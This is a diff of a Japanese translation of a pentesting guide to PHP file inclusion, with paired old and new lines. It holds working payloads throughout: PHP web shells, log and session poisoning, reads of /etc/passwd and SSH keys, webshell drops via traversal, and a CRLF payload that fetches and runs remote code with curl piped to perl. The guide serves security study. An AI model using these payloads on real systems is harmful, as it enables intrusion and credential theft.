- Using other transformations like **rot13** at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
|
||||
- 最初に **rot13** のような他の変換を使うことで、n, o, p, q, r のような他の文字を leak することが可能です(他の codecs を使えば別の文字を hex 範囲に移すこともできます)。
|
||||
- When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
|
||||
- 先頭文字が数字の場合は base64 エンコードして最初の2文字を leak する必要があります。
|
||||
- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text.
|
||||
- 最終的な問題は **先頭文字以上のデータをどうやって leak するか** です。convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE のような order memory filters を使うことで文字の順序を変更し、先頭位置にテキストの他の文字を持ってくることが可能になります。
|
||||
- And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
|
||||
- さらにデータを取得するための考え方は、まず **convert.iconv.UTF16.UTF16** で先頭に2バイトのジャンクデータを生成し、**UCS-4LE** を適用してそれを次の2バイトと pivot させ、ジャンクデータまでデータを削除する(これにより初期テキストの先頭2バイトが削除される)というものです。これを leak したい位置に到達するまで繰り返します。
|
||||
|
||||
記事ではこれを自動化するツールも公開されています: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
投稿ではこの操作を自動化するツールも leak されており: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。
|
||||
|
||||
### php://fd
|
||||
|
||||
この wrapper はプロセスが開いているファイルディスクリプタにアクセスすることを可能にします。開かれているファイルの内容を外部に持ち出すのに潜在的に有用です:
|
||||
この wrapper はプロセスが開いている file descriptors にアクセスすることを可能にします。開かれているファイルの内容を exfiltrate するのに有用な可能性があります:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
```
|
||||
また **php://stdin, php://stdout and php://stderr** を使って、それぞれ **file descriptors 0, 1 and 2** にアクセスすることもできます(攻撃でどう役立つかは不明です)
|
||||
また、**php://stdin, php://stdout and php://stderr** を使って、それぞれ **file descriptors 0, 1 and 2** にアクセスできます(攻撃でどのように役立つかは不明)
|
||||
|
||||
### zip:// と rar://
|
||||
### zip:// and rar://
|
||||
|
||||
PHPShellを含むZipまたはRarファイルをアップロードしてアクセスします.\
|
||||
rarプロトコルを悪用するには、**明示的に有効化されている必要があります**.
|
||||
PHPShell を内部に含む Zip または Rar ファイルをアップロードしてアクセスします。\
|
||||
rar protocol を悪用するには、**特別に有効化されている必要があります**。
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
@ -328,25 +335,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
||||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
このプロトコルは php の設定 **`allow_url_open`** と **`allow_url_include`** によって制限されることに注意してください。
|
||||
Note that this protocol is restricted by php configurations **`allow_url_open`** and **`allow_url_include`**
|
||||
|
||||
### expect://
|
||||
|
||||
Expect は有効化されている必要があります。以下を使ってコードを実行できます:
|
||||
Expect を有効にしておく必要があります。次のようにしてコードを実行できます:
|
||||
```
|
||||
http://example.com/index.php?page=expect://id
|
||||
http://example.com/index.php?page=expect://ls
|
||||
```
|
||||
### input://
|
||||
|
||||
POST parametersにpayloadを指定してください:
|
||||
payloadをPOSTパラメータで指定してください:
|
||||
```bash
|
||||
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
||||
```
|
||||
### phar://
|
||||
|
||||
Webアプリケーションがファイル読み込みに`include`のような関数を利用している場合、`.phar`ファイルはPHPコードを実行するために利用できます。
|
||||
以下のPHPコードスニペットは`.phar`ファイルの作成方法を示しています:
|
||||
` .phar` ファイルは、webアプリケーションがファイル読み込みに `include` のような関数を利用している場合に、PHPコードを実行するために利用できます。以下の PHP コードスニペットは、`.phar` ファイルの作成を示しています:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -355,13 +361,13 @@ $phar->addFromString('test.txt', 'text');
|
||||
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
||||
$phar->stopBuffering();
|
||||
```
|
||||
`.phar` ファイルをコンパイルするには、次のコマンドを実行します:
|
||||
`.phar` ファイルをコンパイルするには、次のコマンドを実行してください:
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
実行すると、`test.phar` というファイルが作成され、Local File Inclusion (LFI) 脆弱性を悪用するために利用される可能性があります。
|
||||
実行すると、`test.phar`という名前のファイルが作成され、Local File Inclusion (LFI) の脆弱性を悪用するために利用される可能性があります。
|
||||
|
||||
LFI が内部の PHP コードを実行せず、`file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()`、`filesize()` といった関数を通じてファイルの読み取りのみを行う場合、deserialization 脆弱性の悪用を試みることができます。この脆弱性は `phar` プロトコルを使用したファイルの読み取りに関連しています。
|
||||
LFI が PHP コードを実行せず、`file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()`、または `filesize()` といった関数による単なるファイル読み取りのみを行う場合、deserialization の脆弱性を悪用できる可能性があります。この脆弱性は `phar` プロトコルを使ったファイル読み取りに関連しています。
|
||||
|
||||
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
|
||||
|
||||
@ -374,36 +380,36 @@ phar-deserialization.md
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\
|
||||
It was possible to alloc chunks of specific sizes abusing more php filters.
|
||||
PHP が php filters をサポートする任意のファイル読み取り(**any arbitrary file read from PHP that supports php filters**)を悪用して RCE を得ることが可能でした。詳細は [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
非常に簡単な要約: PHP heap の **3 byte overflow** が悪用され、特定サイズの free chunks のチェーンを **alter the chain of free chunks** することで **write anything in any address** が可能になり、`system` を呼び出すフックが追加されました。\
|
||||
さらに、より多くの php filters を悪用して特定サイズのチャンクを alloc することが可能でした。
|
||||
|
||||
### More protocols
|
||||
|
||||
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリまたは一時ファイルに書き込み(file inclusion 攻撃でどう有用かは不明)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — ローカルファイルシステムへのアクセス
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL へのアクセス
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL へのアクセス
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリまたは一時ファイルに書き込む(file inclusion attack においてどのように有用かは不明)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — ローカルファイルシステムにアクセス
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL にアクセス
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL にアクセス
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 圧縮ストリーム
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — パターンに一致するパス名を検索(出力可能なものを返さないため、この用途ではあまり有用ではない)
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — パターンに一致するパス名を検索する(表示可能なものを返さないので、ここではあまり有用ではない)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — オーディオストリーム(任意のファイル読み取りには役立たない)
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — オーディオストリーム(任意のファイル読み取りには役に立たない)
|
||||
|
||||
## LFI via PHP's 'assert'
|
||||
|
||||
Local File Inclusion (LFI) のリスクは、文字列内のコードを実行できる 'assert' 関数を扱う場合に特に高くなります。これは、".." のようなディレクトリトラバーサル文字が含まれる入力をチェックしているが適切にサニタイズしていない場合に問題になります。
|
||||
Local File Inclusion (LFI) は、文字列内のコードを実行できる 'assert' 関数を扱う際に特に危険性が高くなります。これは、入力に ".." のような directory traversal 文字が含まれているかどうかを検査しているが適切にサニタイズしていない場合に特に問題になります。
|
||||
|
||||
For example, PHP code might be designed to prevent directory traversal like so:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
これは traversal を防ぐことを目的としているが、意図せず code injection のベクトルを作り出している。ファイル内容を読み取るためにこれを悪用する場合、攻撃者は次のようなものを使うことができる:
|
||||
これは traversal を防ぐことを目的としていますが、意図せず code injection のベクターを作り出してしまいます。ファイルの内容を読み取るためにこれを悪用するには、攻撃者は次のようなものを使う可能性があります:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
同様に、任意のシステムコマンドを実行するには、次のようなものを使用できます:
|
||||
同様に、任意のシステムコマンドを実行するには、次のような方法が考えられます:
|
||||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
@ -412,15 +418,15 @@ It's important to **URL-encode these payloads**.
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> この手法は、**PHP 関数**の**ファイルパス**を**制御**できる場合に関連しますが、当該関数がファイルにアクセスしてもファイルの内容が表示されないケース(例: 単純な **`file()`** の呼び出し)で有効です。
|
||||
> この手法は、あなたが**file path**を**control**していて、**PHP function**が**access a file**する(例えば単純な呼び出しの **`file()`** のように)が、そのファイルの内容は表示されないケースに該当します。
|
||||
|
||||
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
|
||||
|
||||
要約すると、この手法は **"UCS-4LE" encoding** を使ってファイルの内容を非常に**大きく**し、ファイルを開く**PHP 関数**が**エラー**を引き起こすようにします。
|
||||
要約すると、この手法は**"UCS-4LE" encoding**を使用してファイルの内容を非常に**big**にし、ファイルを開く**PHP function**が**error**を発生させるようにします。
|
||||
|
||||
その後、最初の文字をleakするためにフィルタ **`dechunk`** を **base64** や **rot13** と組み合わせて使用し、最後に **convert.iconv.UCS-4.UCS-4LE** と **convert.iconv.UTF16.UTF-16BE** を使って他の文字を先頭に配置してそれらをleakします。
|
||||
その後、最初の文字をleakするためにフィルタ **`dechunk`** を **base64** や **rot13** などと組み合わせて使用し、最後に **convert.iconv.UCS-4.UCS-4LE** と **convert.iconv.UTF16.UTF-16BE** を使って**他の文字を先頭に配置してそれらをleakする**、という流れになります。
|
||||
|
||||
**脆弱である可能性のある関数**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
For the technical details check the mentioned post!
|
||||
|
||||
@ -428,20 +434,20 @@ For the technical details check the mentioned post!
|
||||
|
||||
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
||||
|
||||
ファイルを受け取る/アップロードするサーバー側のコードが、ユーザー制御のデータ(例: filename や URL)を正規化や検証を行わずに宛先パスの構築に使うと、`..` セグメントや絶対パスによって意図したディレクトリを抜け出し、任意のファイル書き込みを引き起こす可能性があります。ペイロードを web-exposed なディレクトリに配置できれば、通常は webshell を置くことで認証不要の RCE を得られます。
|
||||
サーバー側のコードが、アップロードや取り込みされたファイルの保存先パスをユーザー制御のデータ(例: filename や URL)から正規化や検証を行わずに構築すると、`..` セグメントや絶対パスによって意図したディレクトリを抜け出し、任意のファイル書き込みが発生する可能性があります。payload を web-exposed directory の下に置ければ、通常は webshell をドロップすることで未認証の RCE を得られます。
|
||||
|
||||
Typical exploitation workflow:
|
||||
- パス/filename を受け取りディスクにコンテンツを書き込む write primitive(エンドポイントやバックグラウンドワーカー)を特定する(例: message-driven ingestion、XML/JSON コマンドハンドラ、ZIP extractors など)。
|
||||
- web-exposed なディレクトリを特定する。一般的な例:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||
- 意図した保存ディレクトリから webroot に脱出する traversal パスを作成し、webshell の内容を含める。
|
||||
- 配置したペイロードにブラウザでアクセスしてコマンドを実行する。
|
||||
- パス/ファイル名を受け取ってディスクにコンテンツを書き込むエンドポイントやバックグラウンドワーカーの write primitive を特定する(例: メッセージ駆動の取り込み、XML/JSON コマンドハンドラ、ZIP extractor など)。
|
||||
- web-exposed directories を特定する。一般的な例:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||
- 意図されたストレージディレクトリから webroot に抜け出す traversal path を作成し、webshell の内容を含める。
|
||||
- ドロップした payload にブラウズしてコマンドを実行する。
|
||||
|
||||
注意:
|
||||
- 書き込みを行う脆弱なサービスは非HTTPポートで待ち受けている場合がある(例: TCP 4004 の JMF XML listener)。メインのウェブポータル(別ポート)が後であなたのペイロードを配信する。
|
||||
- Java スタックでは、これらのファイル書き込みは単純な `File`/`Paths` の連結で実装されていることが多い。canonicalisation/allow-listing の欠如が根本的な欠陥です。
|
||||
Notes:
|
||||
- 書き込みを行う脆弱なサービスが非HTTPポートで待ち受けている場合がある(例: TCP 4004 の JMF XML listener)。その後、別のポートのメインの web ポータルがあなたの payload を配信する可能性があります。
|
||||
- Java スタックでは、これらのファイル書き込みは単純な `File`/`Paths` の連結で実装されていることが多いです。正規化や allow-listing の欠如が主な欠陥です。
|
||||
|
||||
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
||||
```xml
|
||||
@ -467,10 +473,10 @@ in.transferTo(out);
|
||||
</Command>
|
||||
</JMF>
|
||||
```
|
||||
このクラスのバグを防ぐハードニング:
|
||||
- パスを正規化し、許可リストのベースディレクトリの配下であることを強制する。
|
||||
- `..`、絶対ルート、またはドライブ文字を含むパスはすべて拒否し、生成されたファイル名を優先する。
|
||||
- 書き込み処理を低権限アカウントで実行し、書き込み用ディレクトリを配信されるルートから分離する。
|
||||
ハードニング(このクラスのバグを防ぐ方法):
|
||||
- 正規化されたパスを解決し、それが許可リストにあるベースディレクトリの子孫であることを強制する。
|
||||
- `..`、絶対ルート、またはドライブ文字を含むパスはすべて拒否する。生成されたファイル名を優先する。
|
||||
- 書き込み処理は低権限アカウントで実行し、書き込み用ディレクトリを配信ルートから分離する。
|
||||
|
||||
## Remote File Inclusion
|
||||
|
||||
@ -478,15 +484,15 @@ in.transferTo(out);
|
||||
|
||||
### Via Apache/Nginx log file
|
||||
|
||||
もし Apache や Nginx サーバが include 関数内で **LFIに脆弱**であれば、**`/var/log/apache2/access.log` or `/var/log/nginx/access.log`** にアクセスし、**user agent** または **GET parameter** に **`<?php system($_GET['c']); ?>`** のような php shell を書き込み、そのファイルを include してみることができる。
|
||||
If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **`<?php system($_GET['c']); ?>`** and include that file
|
||||
|
||||
> [!WARNING]
|
||||
> シェルに **double quotes を使用する** と **simple quotes** の代わりにダブルクオートが文字列 "_**quote;**_" に変換され、**PHP がエラーを投げ**て**それ以外は実行されません**。
|
||||
> Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**.
|
||||
>
|
||||
> また、**write correctly the payload**(ペイロードを正しく書き込む)ことを必ず確認してください。そうしないとログファイルを読み込むたびに PHP がエラーを起こし、再度試す機会がなくなります。
|
||||
> Also, make sure you **write correctly the payload** or PHP will error every time it tries to load the log file and you won't have a second opportunity.
|
||||
|
||||
これは他のログでも同様に行えますが、**注意:** ログ内のコードが URL エンコードされている場合があり、Shell が壊れる可能性があります。ヘッダ **authorisation "basic"** は "user:password" を Base64 で含み、ログ内ではデコードされます。PHPShell はこのヘッダ内に挿入できる。\
|
||||
その他の可能なログパス:
|
||||
これは他のログでも同様に行えますが、**注意してください、**ログ内のコードが URL エンコードされている場合があり、これによりシェルが壊れる可能性があります。ヘッダ **authorisation "basic"** は "user:password" を Base64 で含み、ログ内でデコードされます。PHPShell はこのヘッダ内に挿入できます。\
|
||||
Other possible log paths:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
/var/log/apache/access.log
|
||||
@ -502,31 +508,31 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
||||
|
||||
### メール経由
|
||||
|
||||
**メールを送信する** 内部アカウント (user@localhost) に、あなたのPHPペイロード(例:`<?php echo system($_REQUEST["cmd"]); ?>`)を含め、ユーザーのメールを次のようなパスで include してみる:**`/var/mail/<USERNAME>`** または **`/var/spool/mail/<USERNAME>`**
|
||||
**メールを送信**して内部アカウント (user@localhost) に PHP ペイロード(例: `<?php echo system($_REQUEST["cmd"]); ?>`)を含め、ユーザーのメールを **`/var/mail/<USERNAME>`** または **`/var/spool/mail/<USERNAME>`** のようなパスで include してみる
|
||||
|
||||
### /proc/*/fd/* 経由
|
||||
### /proc/\*/fd/\* 経由
|
||||
|
||||
1. 大量のshellをアップロードする(例:100)
|
||||
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) を include する。$PID = プロセスのPID(ブルートフォース可能)、$FD = ファイルディスクリプタ(こちらもブルートフォース可能)
|
||||
1. 多数の shells をアップロードする(例:100)
|
||||
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) を include する。$PID = プロセスの PID(can be brute forced)、$FD はファイルディスクリプタ(can be brute forced too)
|
||||
|
||||
### /proc/self/environ 経由
|
||||
|
||||
ログファイルと同様に、User-Agentにペイロードを入れて送信すると、/proc/self/environ に反映される
|
||||
ログファイルと同様に、User-Agent にペイロードを送信すると、それが /proc/self/environ ファイル内に反映される
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### アップロード経由
|
||||
|
||||
ファイルをアップロードできる場合は、そのファイルにshell payloadを注入してください(例: `<?php system($_GET['c']); ?>`)。
|
||||
ファイルをアップロードできる場合は、そのファイルに shell payload を注入してください (e.g : `<?php system($_GET['c']); ?>` ).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
ファイルを読みやすく保つには、pictures/doc/pdf のメタデータに注入するのが最適です
|
||||
ファイルを読みやすく保つためには、画像/doc/pdf のメタデータに注入するのが最良です
|
||||
|
||||
### ZIP ファイルアップロード経由
|
||||
### Zip ファイル経由のアップロード
|
||||
|
||||
PHP shell を含む ZIP ファイルをアップロードしてアクセス:
|
||||
PHP shell を含む圧縮された ZIP ファイルをアップロードし、アクセス:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
@ -537,33 +543,33 @@ example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
```
|
||||
PHPでは、これらのセッションは _/var/lib/php5/sess\\_\[PHPSESSID]\_ ファイルに保存されます
|
||||
PHPではこれらのセッションは_/var/lib/php5/sess\\_\[PHPSESSID]\_ ファイルに保存されます
|
||||
```
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
```
|
||||
クッキーを `<?php system('cat /etc/passwd');?>` に設定する
|
||||
cookie を `<?php system('cat /etc/passwd');?>` に設定する
|
||||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
LFI を使用して PHP session file を含める
|
||||
LFI を使って PHP セッションファイルを含める
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
### ssh 経由
|
||||
|
||||
ssh が有効な場合、どのユーザーが使われているかを確認(/proc/self/status & /etc/passwd)し、**\<HOME>/.ssh/id_rsa** にアクセスを試みる。
|
||||
ssh が有効な場合、どのユーザーが使われているかを確認する (/proc/self/status & /etc/passwd) そして **\<HOME>/.ssh/id_rsa** にアクセスを試みる
|
||||
|
||||
### **経由** **vsftpd** _**ログ**_
|
||||
|
||||
FTP サーバ vsftpd のログは _**/var/log/vsftpd.log**_ にあります。Local File Inclusion (LFI) の脆弱性が存在し、公開された vsftpd サーバにアクセスできる場合、次の手順を検討できます:
|
||||
|
||||
1. ログイン時の username フィールドに PHP ペイロードを注入する。
|
||||
2. 注入後、LFI を利用して _**/var/log/vsftpd.log**_ からサーバログを取得する。
|
||||
2. 注入後、LFI を利用してサーバログ _**/var/log/vsftpd.log**_ を取得する。
|
||||
|
||||
### php base64 filter 経由 (using base64)
|
||||
|
||||
As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64. これを利用してファイル拡張子チェックをバイパスできます:末尾が ".php" で終わる base64 を渡すと、"." を無視して "php" を base64 に付加します。例として以下のペイロード:
|
||||
As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
@ -571,92 +577,97 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### php filters 経由(ファイル不要)
|
||||
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)は、**php filters を使って任意の内容を出力として生成できる**ことを説明しています。つまり、include に対して **任意の php コードを、ファイルに書き込むことなく生成できる**ということです。
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) は **php filters to generate arbitrary content** を使って出力を生成できることを説明しています。つまり、include 用にファイルに書き込むことなく **generate arbitrary php code** を生成できる、ということです。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
{{#endref}}
|
||||
|
||||
### segmentation fault を利用
|
||||
### segmentation fault 経由
|
||||
|
||||
**アップロード**したファイルが `/tmp` に**一時的に**保存され、同じリクエスト内で **segmentation fault** を発生させると、その**一時ファイルが削除されず**に残るため、探すことができます。
|
||||
|
||||
ファイルを **アップロード** すると `/tmp` に **一時ファイル** として保存されます。同じリクエスト内で **segmentation fault** を発生させると、**一時ファイルが削除されず** 残るので、それを探すことができます。
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-segmentation-fault.md
|
||||
{{#endref}}
|
||||
|
||||
### Nginx の temp file storage を利用
|
||||
### Nginx temp file storage 経由
|
||||
|
||||
もし **Local File Inclusion** を見つけ、PHP の前で **Nginx** が動作している場合、次の手法で **RCE** を得られる可能性があります:
|
||||
|
||||
もし **Local File Inclusion** を見つけ、**Nginx** が PHP の前段にある場合、次の方法で RCE を得られる可能性があります:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-nginx-temp-files.md
|
||||
{{#endref}}
|
||||
|
||||
### PHP_SESSION_UPLOAD_PROGRESS を利用
|
||||
### PHP_SESSION_UPLOAD_PROGRESS 経由
|
||||
|
||||
セッションを持っていなくても、`session.auto_start` が `Off` の場合でも **Local File Inclusion** が見つかれば、multipart POST データで **`PHP_SESSION_UPLOAD_PROGRESS`** を渡すと PHP が自動的にセッションを有効にします。これを悪用して **RCE** を得ることができます:
|
||||
|
||||
もし **Local File Inclusion** を発見していて、かつ **セッションを持っていない**(`session.auto_start` が `Off`)場合でも、**multipart POST** データに **`PHP_SESSION_UPLOAD_PROGRESS`** を含めると、PHP が自動的にセッションを有効にします。これを悪用して RCE を得ることができます:
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
{{#endref}}
|
||||
|
||||
### Windows の temp file uploads を利用
|
||||
### Windows での一時ファイルアップロード経由
|
||||
|
||||
もし **Local File Inclusion** を見つけ、サーバが **Windows** 上で動作している場合、RCE を得られる可能性があります:
|
||||
|
||||
もし **Local File Inclusion** を見つけ、サーバーが **Windows** 上で動作している場合、RCE を得られる可能性があります:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-temp-file-uploads.md
|
||||
{{#endref}}
|
||||
|
||||
### `pearcmd.php` + URL args を利用
|
||||
### `pearcmd.php` + URL args 経由
|
||||
|
||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), スクリプト `/usr/local/lib/phppearcmd.php` は php docker イメージにデフォルトで存在します。さらに、URL パラメータに `=` がない場合は引数として扱う旨が示されているため、URL 経由でスクリプトに引数を渡すことが可能です。See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)、スクリプト `/usr/local/lib/phppearcmd.php` は php docker images にデフォルトで存在します。さらに、URL パラメータに `=` が無い場合は引数として扱われると示されているため、URL 経由でスクリプトに引数を渡すことが可能です。詳しくは [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) と [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/) を参照してください。
|
||||
|
||||
以下のリクエストは、内容 `<?=phpinfo()?>` を持つファイルを `/tmp/hello.php` に作成します:
|
||||
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
以下はCRLF vulnを悪用してRCEを取得する(出典: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
以下はCRLF vulnを悪用してRCEを取得する手法です(出典: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
### Via phpinfo() (file_uploads = on)
|
||||
### phpinfo() 経由 (file_uploads = on)
|
||||
|
||||
もし **Local File Inclusion** を見つけ、かつ **phpinfo()** を表示するファイルで file_uploads = on であれば、RCE を得られる可能性があります:
|
||||
もし **Local File Inclusion** を発見し、**phpinfo()** を表示しているファイルで file_uploads = on になっている場合、RCE を得られます:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-phpinfo.md
|
||||
{{#endref}}
|
||||
|
||||
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure 経由
|
